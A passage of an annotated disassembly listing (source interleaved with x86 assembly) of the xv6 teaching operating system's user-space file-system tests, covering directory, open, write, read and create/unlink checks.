82: e8 94 3e 00 00 call 3f1b <unlink>
87: 83 c4 10 add $0x10,%esp
8a: 85 c0 test %eax,%eax
8c: 79 1b jns a9 <iputtest+0xa9>
printf(stdout, "unlink ../iputdir failed\n");
8e: a1 a8 62 00 00 mov 0x62a8,%eax
93: 83 ec 08 sub $0x8,%esp
96: 68 4c 44 00 00 push $0x444c
9b: 50 push %eax
9c: e8 9d 3f 00 00 call 403e <printf>
a1: 83 c4 10 add $0x10,%esp
exit();
a4: e8 22 3e 00 00 call 3ecb <exit>
}
if(chdir("/") < 0){
a9: 83 ec 0c sub $0xc,%esp
ac: 68 66 44 00 00 push $0x4466
b1: e8 85 3e 00 00 call 3f3b <chdir>
b6: 83 c4 10 add $0x10,%esp
b9: 85 c0 test %eax,%eax
bb: 79 1b jns d8 <iputtest+0xd8>
printf(stdout, "chdir / failed\n");
bd: a1 a8 62 00 00 mov 0x62a8,%eax
c2: 83 ec 08 sub $0x8,%esp
c5: 68 68 44 00 00 push $0x4468
ca: 50 push %eax
cb: e8 6e 3f 00 00 call 403e <printf>
d0: 83 c4 10 add $0x10,%esp
exit();
d3: e8 f3 3d 00 00 call 3ecb <exit>
}
printf(stdout, "iput test ok\n");
d8: a1 a8 62 00 00 mov 0x62a8,%eax
dd: 83 ec 08 sub $0x8,%esp
e0: 68 78 44 00 00 push $0x4478
e5: 50 push %eax
e6: e8 53 3f 00 00 call 403e <printf>
eb: 83 c4 10 add $0x10,%esp
}
ee: 90 nop
ef: c9 leave
f0: c3 ret
000000f1 <exitiputtest>:
// does exit() call iput(p->cwd) in a transaction?
void
exitiputtest(void)
{
f1: 55 push %ebp
f2: 89 e5 mov %esp,%ebp
f4: 83 ec 18 sub $0x18,%esp
int pid;
printf(stdout, "exitiput test\n");
f7: a1 a8 62 00 00 mov 0x62a8,%eax
fc: 83 ec 08 sub $0x8,%esp
ff: 68 86 44 00 00 push $0x4486
104: 50 push %eax
105: e8 34 3f 00 00 call 403e <printf>
10a: 83 c4 10 add $0x10,%esp
pid = fork();
10d: e8 b1 3d 00 00 call 3ec3 <fork>
112: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid < 0){
115: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
119: 79 1b jns 136 <exitiputtest+0x45>
printf(stdout, "fork failed\n");
11b: a1 a8 62 00 00 mov 0x62a8,%eax
120: 83 ec 08 sub $0x8,%esp
123: 68 95 44 00 00 push $0x4495
128: 50 push %eax
129: e8 10 3f 00 00 call 403e <printf>
12e: 83 c4 10 add $0x10,%esp
exit();
131: e8 95 3d 00 00 call 3ecb <exit>
}
if(pid == 0){
136: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
13a: 0f 85 92 00 00 00 jne 1d2 <exitiputtest+0xe1>
if(mkdir("iputdir") < 0){
140: 83 ec 0c sub $0xc,%esp
143: 68 15 44 00 00 push $0x4415
148: e8 e6 3d 00 00 call 3f33 <mkdir>
14d: 83 c4 10 add $0x10,%esp
150: 85 c0 test %eax,%eax
152: 79 1b jns 16f <exitiputtest+0x7e>
printf(stdout, "mkdir failed\n");
154: a1 a8 62 00 00 mov 0x62a8,%eax
159: 83 ec 08 sub $0x8,%esp
15c: 68 1d 44 00 00 push $0x441d
161: 50 push %eax
162: e8 d7 3e 00 00 call 403e <printf>
167: 83 c4 10 add $0x10,%esp
exit();
16a: e8 5c 3d 00 00 call 3ecb <exit>
}
if(chdir("iputdir") < 0){
16f: 83 ec 0c sub $0xc,%esp
172: 68 15 44 00 00 push $0x4415
177: e8 bf 3d 00 00 call 3f3b <chdir>
17c: 83 c4 10 add $0x10,%esp
17f: 85 c0 test %eax,%eax
181: 79 1b jns 19e <exitiputtest+0xad>
printf(stdout, "child chdir failed\n");
183: a1 a8 62 00 00 mov 0x62a8,%eax
188: 83 ec 08 sub $0x8,%esp
18b: 68 a2 44 00 00 push $0x44a2
190: 50 push %eax
191: e8 a8 3e 00 00 call 403e <printf>
196: 83 c4 10 add $0x10,%esp
exit();
199: e8 2d 3d 00 00 call 3ecb <exit>
}
if(unlink("../iputdir") < 0){
19e: 83 ec 0c sub $0xc,%esp
1a1: 68 41 44 00 00 push $0x4441
1a6: e8 70 3d 00 00 call 3f1b <unlink>
1ab: 83 c4 10 add $0x10,%esp
1ae: 85 c0 test %eax,%eax
1b0: 79 1b jns 1cd <exitiputtest+0xdc>
printf(stdout, "unlink ../iputdir failed\n");
1b2: a1 a8 62 00 00 mov 0x62a8,%eax
1b7: 83 ec 08 sub $0x8,%esp
1ba: 68 4c 44 00 00 push $0x444c
1bf: 50 push %eax
1c0: e8 79 3e 00 00 call 403e <printf>
1c5: 83 c4 10 add $0x10,%esp
exit();
1c8: e8 fe 3c 00 00 call 3ecb <exit>
}
exit();
1cd: e8 f9 3c 00 00 call 3ecb <exit>
}
wait();
1d2: e8 fc 3c 00 00 call 3ed3 <wait>
printf(stdout, "exitiput test ok\n");
1d7: a1 a8 62 00 00 mov 0x62a8,%eax
1dc: 83 ec 08 sub $0x8,%esp
1df: 68 b6 44 00 00 push $0x44b6
1e4: 50 push %eax
1e5: e8 54 3e 00 00 call 403e <printf>
1ea: 83 c4 10 add $0x10,%esp
}
1ed: 90 nop
1ee: c9 leave
1ef: c3 ret
000001f0 <openiputtest>:
// for(i = 0; i < 10000; i++)
// yield();
// }
void
openiputtest(void)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 83 ec 18 sub $0x18,%esp
int pid;
printf(stdout, "openiput test\n");
1f6: a1 a8 62 00 00 mov 0x62a8,%eax
1fb: 83 ec 08 sub $0x8,%esp
1fe: 68 c8 44 00 00 push $0x44c8
203: 50 push %eax
204: e8 35 3e 00 00 call 403e <printf>
209: 83 c4 10 add $0x10,%esp
if(mkdir("oidir") < 0){
20c: 83 ec 0c sub $0xc,%esp
20f: 68 d7 44 00 00 push $0x44d7
214: e8 1a 3d 00 00 call 3f33 <mkdir>
219: 83 c4 10 add $0x10,%esp
21c: 85 c0 test %eax,%eax
21e: 79 1b jns 23b <openiputtest+0x4b>
printf(stdout, "mkdir oidir failed\n");
220: a1 a8 62 00 00 mov 0x62a8,%eax
225: 83 ec 08 sub $0x8,%esp
228: 68 dd 44 00 00 push $0x44dd
22d: 50 push %eax
22e: e8 0b 3e 00 00 call 403e <printf>
233: 83 c4 10 add $0x10,%esp
exit();
236: e8 90 3c 00 00 call 3ecb <exit>
}
pid = fork();
23b: e8 83 3c 00 00 call 3ec3 <fork>
240: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid < 0){
243: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
247: 79 1b jns 264 <openiputtest+0x74>
printf(stdout, "fork failed\n");
249: a1 a8 62 00 00 mov 0x62a8,%eax
24e: 83 ec 08 sub $0x8,%esp
251: 68 95 44 00 00 push $0x4495
256: 50 push %eax
257: e8 e2 3d 00 00 call 403e <printf>
25c: 83 c4 10 add $0x10,%esp
exit();
25f: e8 67 3c 00 00 call 3ecb <exit>
}
if(pid == 0){
264: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
268: 75 3b jne 2a5 <openiputtest+0xb5>
int fd = open("oidir", O_RDWR);
26a: 83 ec 08 sub $0x8,%esp
26d: 6a 02 push $0x2
26f: 68 d7 44 00 00 push $0x44d7
274: e8 92 3c 00 00 call 3f0b <open>
279: 83 c4 10 add $0x10,%esp
27c: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
27f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
283: 78 1b js 2a0 <openiputtest+0xb0>
printf(stdout, "open directory for write succeeded\n");
285: a1 a8 62 00 00 mov 0x62a8,%eax
28a: 83 ec 08 sub $0x8,%esp
28d: 68 f4 44 00 00 push $0x44f4
292: 50 push %eax
293: e8 a6 3d 00 00 call 403e <printf>
298: 83 c4 10 add $0x10,%esp
exit();
29b: e8 2b 3c 00 00 call 3ecb <exit>
}
exit();
2a0: e8 26 3c 00 00 call 3ecb <exit>
}
sleep(1);
2a5: 83 ec 0c sub $0xc,%esp
2a8: 6a 01 push $0x1
2aa: e8 ac 3c 00 00 call 3f5b <sleep>
2af: 83 c4 10 add $0x10,%esp
if(unlink("oidir") != 0){
2b2: 83 ec 0c sub $0xc,%esp
2b5: 68 d7 44 00 00 push $0x44d7
2ba: e8 5c 3c 00 00 call 3f1b <unlink>
2bf: 83 c4 10 add $0x10,%esp
2c2: 85 c0 test %eax,%eax
2c4: 74 1b je 2e1 <openiputtest+0xf1>
printf(stdout, "unlink failed\n");
2c6: a1 a8 62 00 00 mov 0x62a8,%eax
2cb: 83 ec 08 sub $0x8,%esp
2ce: 68 18 45 00 00 push $0x4518
2d3: 50 push %eax
2d4: e8 65 3d 00 00 call 403e <printf>
2d9: 83 c4 10 add $0x10,%esp
exit();
2dc: e8 ea 3b 00 00 call 3ecb <exit>
}
wait();
2e1: e8 ed 3b 00 00 call 3ed3 <wait>
printf(stdout, "openiput test ok\n");
2e6: a1 a8 62 00 00 mov 0x62a8,%eax
2eb: 83 ec 08 sub $0x8,%esp
2ee: 68 27 45 00 00 push $0x4527
2f3: 50 push %eax
2f4: e8 45 3d 00 00 call 403e <printf>
2f9: 83 c4 10 add $0x10,%esp
}
2fc: 90 nop
2fd: c9 leave
2fe: c3 ret
000002ff <opentest>:
// simple file system tests
void
opentest(void)
{
2ff: 55 push %ebp
300: 89 e5 mov %esp,%ebp
302: 83 ec 18 sub $0x18,%esp
int fd;
printf(stdout, "open test\n");
305: a1 a8 62 00 00 mov 0x62a8,%eax
30a: 83 ec 08 sub $0x8,%esp
30d: 68 39 45 00 00 push $0x4539
312: 50 push %eax
313: e8 26 3d 00 00 call 403e <printf>
318: 83 c4 10 add $0x10,%esp
fd = open("echo", 0);
31b: 83 ec 08 sub $0x8,%esp
31e: 6a 00 push $0x0
320: 68 f4 43 00 00 push $0x43f4
325: e8 e1 3b 00 00 call 3f0b <open>
32a: 83 c4 10 add $0x10,%esp
32d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
330: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
334: 79 1b jns 351 <opentest+0x52>
printf(stdout, "open echo failed!\n");
336: a1 a8 62 00 00 mov 0x62a8,%eax
33b: 83 ec 08 sub $0x8,%esp
33e: 68 44 45 00 00 push $0x4544
343: 50 push %eax
344: e8 f5 3c 00 00 call 403e <printf>
349: 83 c4 10 add $0x10,%esp
exit();
34c: e8 7a 3b 00 00 call 3ecb <exit>
}
close(fd);
351: 83 ec 0c sub $0xc,%esp
354: ff 75 f4 pushl -0xc(%ebp)
357: e8 97 3b 00 00 call 3ef3 <close>
35c: 83 c4 10 add $0x10,%esp
fd = open("doesnotexist", 0);
35f: 83 ec 08 sub $0x8,%esp
362: 6a 00 push $0x0
364: 68 57 45 00 00 push $0x4557
369: e8 9d 3b 00 00 call 3f0b <open>
36e: 83 c4 10 add $0x10,%esp
371: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
374: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
378: 78 1b js 395 <opentest+0x96>
printf(stdout, "open doesnotexist succeeded!\n");
37a: a1 a8 62 00 00 mov 0x62a8,%eax
37f: 83 ec 08 sub $0x8,%esp
382: 68 64 45 00 00 push $0x4564
387: 50 push %eax
388: e8 b1 3c 00 00 call 403e <printf>
38d: 83 c4 10 add $0x10,%esp
exit();
390: e8 36 3b 00 00 call 3ecb <exit>
}
printf(stdout, "open test ok\n");
395: a1 a8 62 00 00 mov 0x62a8,%eax
39a: 83 ec 08 sub $0x8,%esp
39d: 68 82 45 00 00 push $0x4582
3a2: 50 push %eax
3a3: e8 96 3c 00 00 call 403e <printf>
3a8: 83 c4 10 add $0x10,%esp
}
3ab: 90 nop
3ac: c9 leave
3ad: c3 ret
000003ae <writetest>:
void
writetest(void)
{
3ae: 55 push %ebp
3af: 89 e5 mov %esp,%ebp
3b1: 83 ec 18 sub $0x18,%esp
int fd;
int i;
printf(stdout, "small file test\n");
3b4: a1 a8 62 00 00 mov 0x62a8,%eax
3b9: 83 ec 08 sub $0x8,%esp
3bc: 68 90 45 00 00 push $0x4590
3c1: 50 push %eax
3c2: e8 77 3c 00 00 call 403e <printf>
3c7: 83 c4 10 add $0x10,%esp
fd = open("small", O_CREATE|O_RDWR);
3ca: 83 ec 08 sub $0x8,%esp
3cd: 68 02 02 00 00 push $0x202
3d2: 68 a1 45 00 00 push $0x45a1
3d7: e8 2f 3b 00 00 call 3f0b <open>
3dc: 83 c4 10 add $0x10,%esp
3df: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
3e2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3e6: 78 22 js 40a <writetest+0x5c>
printf(stdout, "creat small succeeded; ok\n");
3e8: a1 a8 62 00 00 mov 0x62a8,%eax
3ed: 83 ec 08 sub $0x8,%esp
3f0: 68 a7 45 00 00 push $0x45a7
3f5: 50 push %eax
3f6: e8 43 3c 00 00 call 403e <printf>
3fb: 83 c4 10 add $0x10,%esp
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
3fe: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
405: e9 8f 00 00 00 jmp 499 <writetest+0xeb>
printf(stdout, "error: creat small failed!\n");
40a: a1 a8 62 00 00 mov 0x62a8,%eax
40f: 83 ec 08 sub $0x8,%esp
412: 68 c2 45 00 00 push $0x45c2
417: 50 push %eax
418: e8 21 3c 00 00 call 403e <printf>
41d: 83 c4 10 add $0x10,%esp
exit();
420: e8 a6 3a 00 00 call 3ecb <exit>
if(write(fd, "aaaaaaaaaa", 10) != 10){
425: 83 ec 04 sub $0x4,%esp
428: 6a 0a push $0xa
42a: 68 de 45 00 00 push $0x45de
42f: ff 75 f0 pushl -0x10(%ebp)
432: e8 b4 3a 00 00 call 3eeb <write>
437: 83 c4 10 add $0x10,%esp
43a: 83 f8 0a cmp $0xa,%eax
43d: 74 1e je 45d <writetest+0xaf>
printf(stdout, "error: write aa %d new file failed\n", i);
43f: a1 a8 62 00 00 mov 0x62a8,%eax
444: 83 ec 04 sub $0x4,%esp
447: ff 75 f4 pushl -0xc(%ebp)
44a: 68 ec 45 00 00 push $0x45ec
44f: 50 push %eax
450: e8 e9 3b 00 00 call 403e <printf>
455: 83 c4 10 add $0x10,%esp
exit();
458: e8 6e 3a 00 00 call 3ecb <exit>
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
45d: 83 ec 04 sub $0x4,%esp
460: 6a 0a push $0xa
462: 68 10 46 00 00 push $0x4610
467: ff 75 f0 pushl -0x10(%ebp)
46a: e8 7c 3a 00 00 call 3eeb <write>
46f: 83 c4 10 add $0x10,%esp
472: 83 f8 0a cmp $0xa,%eax
475: 74 1e je 495 <writetest+0xe7>
printf(stdout, "error: write bb %d new file failed\n", i);
477: a1 a8 62 00 00 mov 0x62a8,%eax
47c: 83 ec 04 sub $0x4,%esp
47f: ff 75 f4 pushl -0xc(%ebp)
482: 68 1c 46 00 00 push $0x461c
487: 50 push %eax
488: e8 b1 3b 00 00 call 403e <printf>
48d: 83 c4 10 add $0x10,%esp
exit();
490: e8 36 3a 00 00 call 3ecb <exit>
for(i = 0; i < 100; i++){
495: 83 45 f4 01 addl $0x1,-0xc(%ebp)
499: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
49d: 7e 86 jle 425 <writetest+0x77>
}
}
printf(stdout, "writes ok\n");
49f: a1 a8 62 00 00 mov 0x62a8,%eax
4a4: 83 ec 08 sub $0x8,%esp
4a7: 68 40 46 00 00 push $0x4640
4ac: 50 push %eax
4ad: e8 8c 3b 00 00 call 403e <printf>
4b2: 83 c4 10 add $0x10,%esp
close(fd);
4b5: 83 ec 0c sub $0xc,%esp
4b8: ff 75 f0 pushl -0x10(%ebp)
4bb: e8 33 3a 00 00 call 3ef3 <close>
4c0: 83 c4 10 add $0x10,%esp
fd = open("small", O_RDONLY);
4c3: 83 ec 08 sub $0x8,%esp
4c6: 6a 00 push $0x0
4c8: 68 a1 45 00 00 push $0x45a1
4cd: e8 39 3a 00 00 call 3f0b <open>
4d2: 83 c4 10 add $0x10,%esp
4d5: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
4d8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4dc: 78 3c js 51a <writetest+0x16c>
printf(stdout, "open small succeeded ok\n");
4de: a1 a8 62 00 00 mov 0x62a8,%eax
4e3: 83 ec 08 sub $0x8,%esp
4e6: 68 4b 46 00 00 push $0x464b
4eb: 50 push %eax
4ec: e8 4d 3b 00 00 call 403e <printf>
4f1: 83 c4 10 add $0x10,%esp
} else {
printf(stdout, "error: open small failed!\n");
exit();
}
i = read(fd, buf, 2000);
4f4: 83 ec 04 sub $0x4,%esp
4f7: 68 d0 07 00 00 push $0x7d0
4fc: 68 a0 8a 00 00 push $0x8aa0
501: ff 75 f0 pushl -0x10(%ebp)
504: e8 da 39 00 00 call 3ee3 <read>
509: 83 c4 10 add $0x10,%esp
50c: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 2000){
50f: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp)
516: 75 57 jne 56f <writetest+0x1c1>
518: eb 1b jmp 535 <writetest+0x187>
printf(stdout, "error: open small failed!\n");
51a: a1 a8 62 00 00 mov 0x62a8,%eax
51f: 83 ec 08 sub $0x8,%esp
522: 68 64 46 00 00 push $0x4664
527: 50 push %eax
528: e8 11 3b 00 00 call 403e <printf>
52d: 83 c4 10 add $0x10,%esp
exit();
530: e8 96 39 00 00 call 3ecb <exit>
printf(stdout, "read succeeded ok\n");
535: a1 a8 62 00 00 mov 0x62a8,%eax
53a: 83 ec 08 sub $0x8,%esp
53d: 68 7f 46 00 00 push $0x467f
542: 50 push %eax
543: e8 f6 3a 00 00 call 403e <printf>
548: 83 c4 10 add $0x10,%esp
} else {
printf(stdout, "read failed\n");
exit();
}
close(fd);
54b: 83 ec 0c sub $0xc,%esp
54e: ff 75 f0 pushl -0x10(%ebp)
551: e8 9d 39 00 00 call 3ef3 <close>
556: 83 c4 10 add $0x10,%esp
if(unlink("small") < 0){
559: 83 ec 0c sub $0xc,%esp
55c: 68 a1 45 00 00 push $0x45a1
561: e8 b5 39 00 00 call 3f1b <unlink>
566: 83 c4 10 add $0x10,%esp
569: 85 c0 test %eax,%eax
56b: 79 38 jns 5a5 <writetest+0x1f7>
56d: eb 1b jmp 58a <writetest+0x1dc>
printf(stdout, "read failed\n");
56f: a1 a8 62 00 00 mov 0x62a8,%eax
574: 83 ec 08 sub $0x8,%esp
577: 68 92 46 00 00 push $0x4692
57c: 50 push %eax
57d: e8 bc 3a 00 00 call 403e <printf>
582: 83 c4 10 add $0x10,%esp
exit();
585: e8 41 39 00 00 call 3ecb <exit>
printf(stdout, "unlink small failed\n");
58a: a1 a8 62 00 00 mov 0x62a8,%eax
58f: 83 ec 08 sub $0x8,%esp
592: 68 9f 46 00 00 push $0x469f
597: 50 push %eax
598: e8 a1 3a 00 00 call 403e <printf>
59d: 83 c4 10 add $0x10,%esp
exit();
5a0: e8 26 39 00 00 call 3ecb <exit>
}
printf(stdout, "small file test ok\n");
5a5: a1 a8 62 00 00 mov 0x62a8,%eax
5aa: 83 ec 08 sub $0x8,%esp
5ad: 68 b4 46 00 00 push $0x46b4
5b2: 50 push %eax
5b3: e8 86 3a 00 00 call 403e <printf>
5b8: 83 c4 10 add $0x10,%esp
}
5bb: 90 nop
5bc: c9 leave
5bd: c3 ret
000005be <writetest1>:
void
writetest1(void)
{
5be: 55 push %ebp
5bf: 89 e5 mov %esp,%ebp
5c1: 83 ec 18 sub $0x18,%esp
int i, fd, n;
printf(stdout, "big files test\n");
5c4: a1 a8 62 00 00 mov 0x62a8,%eax
5c9: 83 ec 08 sub $0x8,%esp
5cc: 68 c8 46 00 00 push $0x46c8
5d1: 50 push %eax
5d2: e8 67 3a 00 00 call 403e <printf>
5d7: 83 c4 10 add $0x10,%esp
fd = open("big", O_CREATE|O_RDWR);
5da: 83 ec 08 sub $0x8,%esp
5dd: 68 02 02 00 00 push $0x202
5e2: 68 d8 46 00 00 push $0x46d8
5e7: e8 1f 39 00 00 call 3f0b <open>
5ec: 83 c4 10 add $0x10,%esp
5ef: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
5f2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5f6: 79 1b jns 613 <writetest1+0x55>
printf(stdout, "error: creat big failed!\n");
5f8: a1 a8 62 00 00 mov 0x62a8,%eax
5fd: 83 ec 08 sub $0x8,%esp
600: 68 dc 46 00 00 push $0x46dc
605: 50 push %eax
606: e8 33 3a 00 00 call 403e <printf>
60b: 83 c4 10 add $0x10,%esp
exit();
60e: e8 b8 38 00 00 call 3ecb <exit>
}
for(i = 0; i < MAXFILE; i++){
613: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
61a: eb 4b jmp 667 <writetest1+0xa9>
((int*)buf)[0] = i;
61c: ba a0 8a 00 00 mov $0x8aa0,%edx
621: 8b 45 f4 mov -0xc(%ebp),%eax
624: 89 02 mov %eax,(%edx)
if(write(fd, buf, 512) != 512){
626: 83 ec 04 sub $0x4,%esp
629: 68 00 02 00 00 push $0x200
62e: 68 a0 8a 00 00 push $0x8aa0
633: ff 75 ec pushl -0x14(%ebp)
636: e8 b0 38 00 00 call 3eeb <write>
63b: 83 c4 10 add $0x10,%esp
63e: 3d 00 02 00 00 cmp $0x200,%eax
643: 74 1e je 663 <writetest1+0xa5>
printf(stdout, "error: write big file failed\n", i);
645: a1 a8 62 00 00 mov 0x62a8,%eax
64a: 83 ec 04 sub $0x4,%esp
64d: ff 75 f4 pushl -0xc(%ebp)
650: 68 f6 46 00 00 push $0x46f6
655: 50 push %eax
656: e8 e3 39 00 00 call 403e <printf>
65b: 83 c4 10 add $0x10,%esp
exit();
65e: e8 68 38 00 00 call 3ecb <exit>
for(i = 0; i < MAXFILE; i++){
663: 83 45 f4 01 addl $0x1,-0xc(%ebp)
667: 8b 45 f4 mov -0xc(%ebp),%eax
66a: 3d 8b 00 00 00 cmp $0x8b,%eax
66f: 76 ab jbe 61c <writetest1+0x5e>
}
}
close(fd);
671: 83 ec 0c sub $0xc,%esp
674: ff 75 ec pushl -0x14(%ebp)
677: e8 77 38 00 00 call 3ef3 <close>
67c: 83 c4 10 add $0x10,%esp
fd = open("big", O_RDONLY);
67f: 83 ec 08 sub $0x8,%esp
682: 6a 00 push $0x0
684: 68 d8 46 00 00 push $0x46d8
689: e8 7d 38 00 00 call 3f0b <open>
68e: 83 c4 10 add $0x10,%esp
691: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
694: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
698: 79 1b jns 6b5 <writetest1+0xf7>
printf(stdout, "error: open big failed!\n");
69a: a1 a8 62 00 00 mov 0x62a8,%eax
69f: 83 ec 08 sub $0x8,%esp
6a2: 68 14 47 00 00 push $0x4714
6a7: 50 push %eax
6a8: e8 91 39 00 00 call 403e <printf>
6ad: 83 c4 10 add $0x10,%esp
exit();
6b0: e8 16 38 00 00 call 3ecb <exit>
}
n = 0;
6b5: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(;;){
i = read(fd, buf, 512);
6bc: 83 ec 04 sub $0x4,%esp
6bf: 68 00 02 00 00 push $0x200
6c4: 68 a0 8a 00 00 push $0x8aa0
6c9: ff 75 ec pushl -0x14(%ebp)
6cc: e8 12 38 00 00 call 3ee3 <read>
6d1: 83 c4 10 add $0x10,%esp
6d4: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 0){
6d7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6db: 75 27 jne 704 <writetest1+0x146>
if(n == MAXFILE - 1){
6dd: 81 7d f0 8b 00 00 00 cmpl $0x8b,-0x10(%ebp)
6e4: 75 7d jne 763 <writetest1+0x1a5>
printf(stdout, "read only %d blocks from big", n);
6e6: a1 a8 62 00 00 mov 0x62a8,%eax
6eb: 83 ec 04 sub $0x4,%esp
6ee: ff 75 f0 pushl -0x10(%ebp)
6f1: 68 2d 47 00 00 push $0x472d
6f6: 50 push %eax
6f7: e8 42 39 00 00 call 403e <printf>
6fc: 83 c4 10 add $0x10,%esp
exit();
6ff: e8 c7 37 00 00 call 3ecb <exit>
}
break;
} else if(i != 512){
704: 81 7d f4 00 02 00 00 cmpl $0x200,-0xc(%ebp)
70b: 74 1e je 72b <writetest1+0x16d>
printf(stdout, "read failed %d\n", i);
70d: a1 a8 62 00 00 mov 0x62a8,%eax
712: 83 ec 04 sub $0x4,%esp
715: ff 75 f4 pushl -0xc(%ebp)
718: 68 4a 47 00 00 push $0x474a
71d: 50 push %eax
71e: e8 1b 39 00 00 call 403e <printf>
723: 83 c4 10 add $0x10,%esp
exit();
726: e8 a0 37 00 00 call 3ecb <exit>
}
if(((int*)buf)[0] != n){
72b: b8 a0 8a 00 00 mov $0x8aa0,%eax
730: 8b 00 mov (%eax),%eax
732: 39 45 f0 cmp %eax,-0x10(%ebp)
735: 74 23 je 75a <writetest1+0x19c>
printf(stdout, "read content of block %d is %d\n",
n, ((int*)buf)[0]);
737: b8 a0 8a 00 00 mov $0x8aa0,%eax
printf(stdout, "read content of block %d is %d\n",
73c: 8b 10 mov (%eax),%edx
73e: a1 a8 62 00 00 mov 0x62a8,%eax
743: 52 push %edx
744: ff 75 f0 pushl -0x10(%ebp)
747: 68 5c 47 00 00 push $0x475c
74c: 50 push %eax
74d: e8 ec 38 00 00 call 403e <printf>
752: 83 c4 10 add $0x10,%esp
exit();
755: e8 71 37 00 00 call 3ecb <exit>
}
n++;
75a: 83 45 f0 01 addl $0x1,-0x10(%ebp)
i = read(fd, buf, 512);
75e: e9 59 ff ff ff jmp 6bc <writetest1+0xfe>
break;
763: 90 nop
}
close(fd);
764: 83 ec 0c sub $0xc,%esp
767: ff 75 ec pushl -0x14(%ebp)
76a: e8 84 37 00 00 call 3ef3 <close>
76f: 83 c4 10 add $0x10,%esp
if(unlink("big") < 0){
772: 83 ec 0c sub $0xc,%esp
775: 68 d8 46 00 00 push $0x46d8
77a: e8 9c 37 00 00 call 3f1b <unlink>
77f: 83 c4 10 add $0x10,%esp
782: 85 c0 test %eax,%eax
784: 79 1b jns 7a1 <writetest1+0x1e3>
printf(stdout, "unlink big failed\n");
786: a1 a8 62 00 00 mov 0x62a8,%eax
78b: 83 ec 08 sub $0x8,%esp
78e: 68 7c 47 00 00 push $0x477c
793: 50 push %eax
794: e8 a5 38 00 00 call 403e <printf>
799: 83 c4 10 add $0x10,%esp
exit();
79c: e8 2a 37 00 00 call 3ecb <exit>
}
printf(stdout, "big files ok\n");
7a1: a1 a8 62 00 00 mov 0x62a8,%eax
7a6: 83 ec 08 sub $0x8,%esp
7a9: 68 8f 47 00 00 push $0x478f
7ae: 50 push %eax
7af: e8 8a 38 00 00 call 403e <printf>
7b4: 83 c4 10 add $0x10,%esp
}
7b7: 90 nop
7b8: c9 leave
7b9: c3 ret
000007ba <createtest>:
void
createtest(void)
{
7ba: 55 push %ebp
7bb: 89 e5 mov %esp,%ebp
7bd: 83 ec 18 sub $0x18,%esp
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
7c0: a1 a8 62 00 00 mov 0x62a8,%eax
7c5: 83 ec 08 sub $0x8,%esp
7c8: 68 a0 47 00 00 push $0x47a0
7cd: 50 push %eax
7ce: e8 6b 38 00 00 call 403e <printf>
7d3: 83 c4 10 add $0x10,%esp
name[0] = 'a';
7d6: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0
name[2] = '\0';
7dd: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2
for(i = 0; i < 52; i++){
7e4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
7eb: eb 35 jmp 822 <createtest+0x68>
name[1] = '0' + i;
7ed: 8b 45 f4 mov -0xc(%ebp),%eax
7f0: 83 c0 30 add $0x30,%eax
7f3: a2 a1 aa 00 00 mov %al,0xaaa1
fd = open(name, O_CREATE|O_RDWR);
7f8: 83 ec 08 sub $0x8,%esp
7fb: 68 02 02 00 00 push $0x202
800: 68 a0 aa 00 00 push $0xaaa0
805: e8 01 37 00 00 call 3f0b <open>
80a: 83 c4 10 add $0x10,%esp
80d: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
810: 83 ec 0c sub $0xc,%esp
813: ff 75 f0 pushl -0x10(%ebp)
816: e8 d8 36 00 00 call 3ef3 <close>
81b: 83 c4 10 add $0x10,%esp
for(i = 0; i < 52; i++){
81e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
822: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
826: 7e c5 jle 7ed <createtest+0x33>
}
name[0] = 'a';
828: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0
name[2] = '\0';
82f: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2
for(i = 0; i < 52; i++){
836: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
83d: eb 1f jmp 85e <createtest+0xa4>
name[1] = '0' + i;
83f: 8b 45 f4 mov -0xc(%ebp),%eax
842: 83 c0 30 add $0x30,%eax
845: a2 a1 aa 00 00 mov %al,0xaaa1
unlink(name);
84a: 83 ec 0c sub $0xc,%esp
84d: 68 a0 aa 00 00 push $0xaaa0
852: e8 c4 36 00 00 call 3f1b <unlink>
857: 83 c4 10 add $0x10,%esp
for(i = 0; i < 52; i++){
85a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
85e: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
